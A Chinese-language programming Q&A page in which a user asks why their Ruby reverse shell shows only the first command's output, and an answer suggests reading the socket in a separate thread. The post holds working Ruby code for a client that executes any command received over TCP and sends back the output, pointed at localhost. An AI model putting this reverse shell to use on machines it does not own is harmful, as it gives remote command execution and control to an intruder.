反向Shell - 如何使服务器打印发送到客户端的多条消息

问题描述 投票:1回答:1

我的反向shell只会在第一次打印“ls”命令的输出,我怎样才能在服务器中打印多次我想要的?

require 'socket'
require 'open3'

def createClient(hostname, port)

  s = TCPSocket.new hostname, port

    while line = s.gets
      if line == "exit"
        s.close
      end
      stdin, stdout, stderr, wait_thr = Open3.popen3(line)
      s.puts("#{stdout.read}")
    end
end

createClient("127.0.0.1", 9090)


require 'socket'

 def createServer(hostname, port)

   server = TCPServer.new(hostname, port)
   client = server.accept


   loop do

     message = gets.chomp
     if message == "exit"
       break
     end
     client.puts(message)
     while line = client.gets
       puts line
     end
   end

   client.close

end

createServer("127.0.0.1", 9090)

我期待服务器打印客户端处理的所有ls命令,但它只打印第一个命令。

ruby reverse
1个回答
0
投票

client.gets一直听着插座,直到它关闭。所以它挂在那里。

你可以尝试打开踩踏板来听取插座。主循环侦听stdin并将msg发送到套接字。像这样:

   Thread.new do
     while line = client.gets 
        puts line
     end
   end

   loop do
     message = gets.chomp
     if message == "exit"
       break
     end
     client.puts(message)
   end

   client.close
© www.soinside.com 2019 - 2024. All rights reserved.